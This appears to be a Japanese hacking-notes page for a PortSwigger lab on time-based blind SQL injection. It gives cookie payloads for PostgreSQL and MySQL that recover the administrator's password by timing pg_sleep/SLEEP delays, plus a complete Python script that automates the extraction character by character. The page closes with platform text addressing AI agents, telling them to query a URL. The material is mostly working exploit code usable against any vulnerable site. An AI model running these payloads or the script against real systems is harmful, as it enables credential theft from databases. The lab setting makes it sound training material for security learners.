> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md).

# 時間ベースのブラインドSQLインジェクションによるデータのエクスフィルトレーション

PortSwigger Web Security Academy のラボ向けメモ。時間ベースのブラインドSQLインジェクションによるデータのエクスフィルトレーションに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### 時間遅延と情報取得を伴うブラインドSQLインジェクション

の値は `TrackingId` cookie が同期SQLクエリに補間されます。条件分岐（`SLEEP` / `pg_sleep`）は、アサーションが真のときに発火します。情報は応答時間を測定することで導出されます（つまり、条件が真なら遅延）。

#### PostgreSQL

* 5秒スリープの単純例：

```
TrackingId=<BASE>' || pg_sleep(5) || '
```

* 条件分岐（ `username='administrator'` → 5秒）:

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* パスワード長 = 20 のテスト:

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* 文字をテスト `pos` 位置:

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT SUBSTRING(password, {pos}, 1) FROM users WHERE username='administrator') = '{char}' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

> Postgres の注意: ときどき `FROM` 位置は注入されたリクエストに応じて調整する必要があります。上記の例は一般的なパターンです。

#### MySQL

* 5秒スリープの単純例：

```
TrackingId=<BASE>' AND SLEEP(5)-- -
```

* 条件分岐（substring）:

```
TrackingId=<BASE>' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'), {pos}, 1) = '{char}', SLEEP(5), 0)-- -
```

* 長さ = N のテスト:

```
TrackingId=<BASE>' OR IF(LENGTH((SELECT password FROM users WHERE username='administrator')) = {N}, SLEEP(5), 0)-- -
```

> MySQL: `IF(condition, sleep(sec), 0)` が標準形式です。 `SUBSTRING(...)` および `LENGTH(...)`.

***

### 具体例（完全なcookie）

次を仮定します `BASE=abc123` およびセッション `'SESSION=XYZ'`.

* Postgres — 位置1の文字テスト == 'a':

```
Cookie: TrackingId=abc123' || (SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '; Session=XYZ
```

* MySQL — 位置1の文字テスト == 'a':

```
Cookie: TrackingId=abc123' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a', SLEEP(5), 0)-- -; Session=XYZ
```

### 自動化Pythonスクリプト（修正版、PostgresとMySQLに対応）

このスクリプトは遅延を測定し、文字ごとに復元します。パラメータ: `TARGET`, `BASE_TRACKING`, `SESSION`, `DBMS` (`'postgres'` または `'mysql'`）、アルファベット、期待遅延（`SLEEP_SEC`）および `MAX_LEN`.

```python
#!/usr/bin/env python3
"""
時間ベースのブラインドSQLi抽出ツール（Postgres / MySQL）
使い方: TARGET、BASE_TRACKING、SESSION、DBMS を設定してから実行します。
許可された環境でのみ実行してください。
"""

import requests, time, string, sys, signal

# ------------- 設定 -------------
TARGET = "https://EXAMPLE.web-security-academy.net/"
BASE_TRACKING = "test"            # TrackingId の正当な部分
SESSION_VALUE = "SESSION_VALUE"
DBMS = "postgres"                 # "postgres" または "mysql"
SLEEP_SEC = 5                     # サーバー側で発火する遅延
THRESHOLD = SLEEP_SEC - 1.0       # 応答 > 閾値 なら => 条件は真
ALPHABET = string.ascii_lowercase + string.digits  # 必要に応じて調整
MAX_LEN = 30
TIMEOUT = SLEEP_SEC + 5
# ------------- /設定 -------------

HEADERS = {"User-Agent": "Mozilla/5.0"}

def build_payload(sgdb, pos, ch):
    if sgdb == "postgres":
        # 条件: substring(password,pos,1) = 'ch'
        cond = f"(SELECT CASE WHEN (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END)"
        payload = f"{BASE_TRACKING}' || {cond} || '"
    elif sgdb == "mysql":
        # IF(SUBSTRING((SELECT password ...),pos,1) = 'ch', SLEEP(X), 0)
        cond = f"IF(SUBSTRING((SELECT password FROM users WHERE username='administrator' LIMIT 1),{pos},1)='{ch}', SLEEP({SLEEP_SEC}), 0)"
        payload = f"{BASE_TRACKING}' OR {cond}-- -"
    else:
        raise ValueError("未対応のDBMSです")
    return payload

def send_request(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    t0 = time.time()
    try:
        r = requests.get(TARGET, cookies=cookies, headers=HEADERS, timeout=TIMEOUT, verify=True, allow_redirects=False)
    except requests.exceptions.RequestException as e:
        return None, None
    dt = time.time() - t0
    return r, dt

def extract_password():
    pwd = ""
    for pos in range(1, MAX_LEN + 1):
        found = False
        for ch in ALPHABET:
            payload = build_payload(DBMS, pos, ch)
            _, dt = send_request(payload)
            if dt is None:
                print("[!] リクエストに失敗しました。再試行するか接続を確認してください")
                sys.exit(1)
            # debug: print(f"pos={pos} try={ch} dt={dt:.2f}s")
            if dt > THRESHOLD:
                pwd += ch
                print(f"[+] pos={pos} -> '{ch}'  (dt={dt:.2f}s)")
                found = True
                break
        if not found:
            print(f"[-] 位置 {pos} で文字が見つかりませんでした -> 終了の可能性あり")
            break
    return pwd

def sigint_handler(sig, frame):
    print("/n中断されました。終了します。")
    sys.exit(0)

if __name__ == "__main__":
    signal.signal(signal.SIGINT, sigint_handler)
    print("[*] 抽出を開始します（時間ベース）")
    recovered = extract_password()
    print(f"/n[=] 復元されたパスワード（部分的/推定）: {recovered}/n")
```

* 向けの **Postgres**, `DBMS="postgres"`.
* 向けの **MySQL**, `DBMS="mysql"`.
* 減らす `ALPHABET` 文字セットが分かっている場合（大きな利点）。
* 調整します `MAX_LEN` / `SLEEP_SEC` ターゲットに応じて。
* 必要に応じて、取得/指数バックオフ管理。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35eefbd3c804169cc0cb10102334009f193f0190%2F%7BCB5762C5-7E48-4BA9-893E-80772DF51EFA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
